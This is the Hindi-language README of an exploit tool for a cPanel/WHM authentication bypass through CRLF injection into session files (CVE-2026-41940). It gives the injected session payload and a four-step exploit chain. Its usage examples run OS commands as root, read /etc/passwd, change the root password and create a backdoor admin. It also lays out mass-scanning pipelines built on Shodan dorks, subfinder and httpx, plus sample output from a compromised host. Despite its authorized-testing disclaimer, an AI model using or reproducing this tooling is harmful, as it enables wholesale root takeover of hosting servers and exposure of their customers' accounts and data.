
CVE-2026-41940 — cPanel और WHM में सेशन-फ़ाइल CRLF इंजेक्शन के माध्यम से प्रमाणीकरण बायपास
CVE-2026-41940 — cPanel और WHM में सत्र-फ़ाइल CRLF इंजेक्शन के माध्यम से प्रमाणीकरण बायपास
4-चरणीय शोषण श्रृंखला · इंटरैक्टिव WHM शेल · बल्क स्कैनर · पाइपलाइन-तैयार · केवल stdlib
cPanelSniper CVE-2026-41940 के लिए एक केंद्रित शोषण फ्रेमवर्क है, जो cPanel और WHM को प्रभावित करने वाली एक गंभीर प्रमाणीकरण बायपास भेद्यता है। यह भेद्यता बिना किसी वैध क्रेडेंशियल के, Authorization HTTP हेडर के माध्यम से सत्र फ़ाइल में CRLF अनुक्रम इंजेक्ट करके, बिना प्रमाणीकृत दूरस्थ हमलावरों को रूट-स्तरीय WHM एक्सेस प्राप्त करने की अनुमति देती है।
केवल अधिकृत पेनेट्रेशन टेस्टिंग और बग बाउंटी प्रोग्राम के लिए।
मूल कारण Session.pm में है: saveSession() फ़ंक्शन सत्र फ़ाइल को डिस्क पर लिखने के बाद filter_sessiondata() को कॉल करता है। इसका मतलब है कि Authorization: Basic हेडर मान में एम्बेडेड CRLF वर्ण सत्र फ़ाइल में वैसे ही लिखे जाते हैं, जिससे सैनिटाइज़ेशन से पहले हमलावर-नियंत्रित फ़ील्ड इंजेक्ट हो जाते हैं।
सामान्य प्रवाह:
POST /login/ → filter_sessiondata() → सत्र लिखें → प्रमाणीकरण जाँच
कमजोर प्रवाह:
POST /login/ → सत्र लिखें (CRLF पेलोड इंजेक्ट) → filter_sessiondata() → प्रमाणीकरण जाँच ज़हरीली फ़ाइल पढ़ती है
Authorization: Basic मान डिकोड होकर यह बनता है:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
ये फ़ील्ड सीधे डिस्क पर सत्र फ़ाइल में लिखे जाते हैं। जब वापस पढ़ा जाता है, तो cPanel सत्र को पूरी तरह से प्रमाणीकृत रूट सत्र के रूप में मानता है।
┌─────────────────────────────────────────────────────────────┐
│ चरण 0 — कैनोनिकल होस्टनाम खोज │
│ GET /openid_connect/cpanelid → 307 → वास्तविक होस्टनाम │
├─────────────────────────────────────────────────────────────┤
│ चरण 1 — प्री-ऑथ सत्र मिंट करें │
│ POST /login/?login_only=1 (गलत क्रेडेंशियल) │
│ ← 401 + whostmgrsession कुकी │
├─────────────────────────────────────────────────────────────┤
│ चरण 2 — CRLF इंजेक्शन │
│ GET / + Cookie: session + Authorization: Basic <पेलोड> │
│ cpsrvd CRLF फ़ील्ड को सत्र फ़ाइल में लिखता है │
│ ← 307 Location: /cpsessXXXXXXXXXX/... │
├─────────────────────────────────────────────────────────────┤
│ चरण 3 — प्रचार (do_token_denied गैजेट) │
│ GET /scripts2/listaccts │
│ raw→cache फ्लश ट्रिगर करता है — इंजेक्टेड फ़ील्ड सक्रिय हो जाते हैं │
│ ← 401 टोकन अस्वीकृत (अपेक्षित) │
├─────────────────────────────────────────────────────────────┤
│ चरण 4 — WHM रूट एक्सेस सत्यापित करें │
│ GET /cpsessXXXXXXXXXX/json-api/version │
│ ← 200 {"version":"11.x.x.x","result":1} = PWNED │
└─────────────────────────────────────────────────────────────┘
git clone https://github.com/ynsmroztas/cPanelSniper
cd cPanelSniper
python3 cPanelSniper.py --help
कोई pip इंस्टॉल आवश्यक नहीं है। केवल शुद्ध Python 3.8+ stdlib।
# एकल लक्ष्य — केवल स्कैन
python3 cPanelSniper.py -u https://target.com:2087
# एकल लक्ष्य — बायपास के बाद इंटरैक्टिव शेल
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# फ़ाइल से बल्क स्कैन
python3 cPanelSniper.py -l targets.txt -t 20 -o results.json
# फोर्स स्कैन (cPanel डिटेक्शन छोड़ें)
python3 cPanelSniper.py -u https://target.com:2087 --force
# सर्वर पर सभी cPanel खाते सूचीबद्ध करें
python3 cPanelSniper.py -u https://target.com:2087 --action list
# OS कमांड निष्पादित करें
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"
# सर्वर जानकारी प्राप्त करें (होस्टनाम, लोड, डिस्क, MySQL होस्ट)
python3 cPanelSniper.py -u https://target.com:2087 --action info
# cPanel संस्करण प्राप्त करें
python3 cPanelSniper.py -u https://target.com:2087 --action version
# रूट पासवर्ड बदलें
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'
# इंटरैक्टिव WHM शेल
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# subfinder → httpx → cPanelSniper
subfinder -d target.com -silent | \
httpx -silent -ports 2087,2086 -threads 50 | \
python3 cPanelSniper.py -t 30 -o results.json
# स्कोप सूची से
cat scope.txt | \
httpx -silent -ports 2087,2086 -threads 100 | \
python3 cPanelSniper.py -t 30 -o results.json
# Shodan परिणाम
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' | \
python3 cPanelSniper.py -t 30 -o shodan_results.json
# stdin पाइप
echo "https://target.com:2087" | python3 cPanelSniper.py
# कई स्रोत संयुक्त
{ subfinder -d target.com -silent; cat extra.txt; } | \
httpx -silent -ports 2087 | \
python3 cPanelSniper.py -t 20 --action list
सफल बायपास के बाद, --action shell फ्लैग एक इंटरैक्टिव प्रॉम्प्ट में ले जाता है:
════════════════════════════════════════════════════════════
WHM शेल — target.com
संस्करण: CVE-2026-41940 | प्रमाणीकरण: CRLF बायपास
कमांड के लिए 'help' टाइप करें, बाहर निकलने के लिए 'exit'
════════════════════════════════════════════════════════════
[email protected] ▶ id
uid=0(root) gid=0(root) groups=0(root)
[email protected] ▶ accounts
[cPanel खाते] target.com:2087 (47 उपयोगकर्ता)
user01 डोमेन: example.com ईमेल: [email protected]
user02 डोमेन: shop.com ईमेल: [email protected]
...
[email protected] ▶ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
[email protected] ▶ info
[सर्वर जानकारी] https://target.com:2087
होस्टनाम: srv01.target.com
लोड: 0.72 / 0.66 / 0.69
संस्करण: 11.130.0.6
[email protected] ▶ addadmin mitsec P@ss2026!
[बैकडोर एडमिन बनाया गया]
लक्ष्य : https://target.com:2087
उपयोगकर्ता : mitsec
पासवर्ड : P@ss2026!
प्रोफ़ाइल : super_admin
[email protected] ▶ exit
usage: cPanelSniper.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
[-t THREADS] [--timeout TIMEOUT] [--rate-limit N]
[--action ACTION] [--passwd PASS] [--cmd CMD]
[--new-user USER] [--new-domain DOMAIN]
[-o OUTPUT] [--no-color]
लक्ष्य:
-u, --url URL एकल लक्ष्य URL (जैसे https://host:2087)
-l, --list LIST URL वाली फ़ाइल (प्रति पंक्ति एक)
--hostname HOSTNAME कैनोनिकल Host हेडर ओवरराइड करें (स्वतः-खोजा गया)
स्कैन:
-t, --threads N समवर्ती थ्रेड (डिफ़ॉल्ट: 10)
--timeout N अनुरोध टाइमआउट सेकंड (डिफ़ॉल्ट: 15)
--rate-limit N लक्ष्यों के बीच देरी (डिफ़ॉल्ट: 0)
--force cPanel डिटेक्शन जाँच छोड़ें
पोस्ट-एक्सप्लॉइट:
--action ACTION क्रिया: list | passwd | cmd | exec | info |
version | shell | adduser
--passwd PASS नया रूट पासवर्ड (--action passwd)
--cmd CMD OS कमांड (--action cmd/exec)
--new-user USER नया cPanel उपयोगकर्ता नाम (--action adduser)
--new-domain DOMAIN नया cPanel डोमेन (--action adduser)
आउटपुट:
-o, --output FILE परिणाम JSON फ़ाइल में सहेजें
--no-color ANSI रंग अक्षम करें
title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"cPanel" port:2083
ssl.cert.subject.cn:"cPanel" port:2087
██████╗██████╗ █████╗ ███╗ ██╗███████╗██╗
██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
...
CVE-2026-41940 — cPanel और WHM CRLF इंजेक्शन के माध्यम से प्रमाणीकरण बायपास
4-चरण: प्री-ऑथ → CRLF इंजेक्ट → प्रचार → सत्यापन → पोस्ट-एक्सप्लॉइट
इन-द-वाइल्ड | CVSS 10.0 | By Mitsec (@ynsmroztas)
कॉन्फ़िगरेशन:
लक्ष्य : 1
थ्रेड : 10
टाइमआउट : 15s
क्रिया : list
14:46:22 [SCAN] 4-चरणीय शोषण श्रृंखला शुरू... https://target.com:2087
14:46:23 [INFO] कैनोनिकल होस्टनाम खोजा गया: srv01.target.com
14:46:23 [STEP] चरण 1/4 — प्री-ऑथ सत्र मिंट करना...
14:46:23 [ OK] चरण1: प्री-ऑथ सत्र = :QFB4o8XENBqlr6U1...
14:46:23 [STEP] चरण 2/4 — Authorization हेडर के माध्यम से CRLF इंजेक्शन...
14:46:24 [ OK] चरण2: HTTP 307 → टोकन=/cpsess8493537756
14:46:24 [STEP] चरण 3/4 — do_token_denied गैजेट फायर करना (raw→cache)...
14:46:25 [ OK] चरण3: HTTP 401 — do_token_denied गैजेट फायर हुआ
14:46:25 [STEP] चरण 4/4 — WHM रूट एक्सेस सत्यापित करना...
14:46:26 [PWND] CVE-2026-41940 पुष्टि — WHM रूट एक्सेस!
14:46:26 [PWND] टोकन : /cpsess8493537756
14:46:26 [PWND] संस्करण : 11.130.0.6
14:46:26 [PWND] API URL : https://target.com:2087/cpsess8493537756/json-api/version
14:46:26 [ API] पोस्ट-एक्सप्लॉइट क्रिया चल रही है: list
14:46:27 [ API] listaccts → HTTP 200
[cPanel खाते] target.com:2087 (47 खाते)
client01 डोमेन: client01.com ईमेल: [email protected]
client02 डोमेन: client02.net ईमेल: [email protected]
...
══════════════════════════════════════════════════════════════════════
cPanelSniper — स्कैन पूर्ण
समय: 5.8s · लक्ष्य: 1
⚡ 1 कमजोर लक्ष्य
लक्ष्य : https://target.com:2087
संस्करण : 11.130.0.6
टोकन : /cpsess8493537756
API URL : https://target.com:2087/cpsess8493537756/json-api/version
══════════════════════════════════════════════════════════════════════
इंजेक्ट किया गया Authorization: Basic मान (base64-डिकोडेड) CRLF अनुक्रम रखता है जो cPanel सत्र फ़ाइल में नई पंक्तियाँ बन जाते हैं:
root:x\r\n
successful_internal_auth_with_timestamp=9999999999\r\n
user=root\r\n
tfa_verified=1\r\n
hasroot=1
cPanel का सत्र रीडर इन्हें वैध सत्र फ़ील्ड के रूप में पार्स करता है, जिससे पूर्ण रूट WHM एक्सेस मिलता है।
महत्वपूर्ण और अक्सर अनदेखा किया जाने वाला चरण: CRLF इंजेक्शन (चरण 2) के बाद, ज़हरीला सत्र डेटा केवल रॉ सत्र फ़ाइल में मौजूद होता है। /scripts2/listaccts का अनुरोध आंतरिक do_token_denied हैंडलर को ट्रिगर करता है, जो रॉ सत्र डेटा को सत्र कैश में फ्लश करता है। इस फ्लश के बिना, चरण 4 403 लौटाएगा।
Set-Cookie: whostmgrsession=%3aSESSION_NAME%2cOB_HEX; ...
^ ^
| +-- ob हैश (स्ट्रिप किया गया)
+-- सत्र नाम (इंजेक्शन के लिए उपयोग किया जाता है)
सत्र नाम (%2C से पहले) निकाला जाता है और बाद के अनुरोधों के लिए कुकी मान के रूप में उपयोग किया जाता है।
यह टूल केवल अधिकृत सुरक्षा परीक्षण और बग बाउंटी प्रोग्राम के लिए है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। लेखक कोई दायित्व नहीं लेता है और इस टूल के किसी भी दुरुपयोग या क्षति के लिए ज़िम्मेदार नहीं है। परीक्षण से पहले हमेशा उचित लिखित प्राधिकरण प्राप्त करें।
Mitsec — @ynsmroztas
❤️ के साथ बनाया गया @ynsmroztas द्वारा
| ब्रांच | कमजोर | पैच किया गया |
|---|
| 110.x | ≤ 11.110.0.96 | 11.110.0.97 |
| 118.x | ≤ 11.118.0.62 | 11.118.0.63 |
| 126.x | ≤ 11.126.0.53 | 11.126.0.54 |
| 132.x | ≤ 11.132.0.28 | 11.132.0.29 |
| 134.x | ≤ 11.134.0.19 | 11.134.0.20 |
| 136.x | ≤ 11.136.0.4 | 11.136.0.5 |
| कमांड | विवरण |
|---|
id / whoami | UID और होस्टनाम दिखाएँ |
hostname | सर्वर होस्टनाम प्राप्त करें |
version | cPanel संस्करण जानकारी |
info | लोड, डिस्क, MySQL होस्ट, संस्करण |
accounts | सभी cPanel उपयोगकर्ता खाते सूचीबद्ध करें |
cat <path> | फ़ाइल सामग्री पढ़ें |
ls [path] | निर्देशिका सूचीबद्ध करें |
exec <cmd> | OS कमांड निष्पादित करें |
addadmin <user> <pass> | बैकडोर WHM एडमिन बनाएँ |
passwd <pass> | रूट पासवर्ड बदलें |
api <endpoint> [k=v ...] | रॉ WHM JSON API कॉल |
help | सभी कमांड दिखाएँ |
exit | शेल से बाहर निकलें |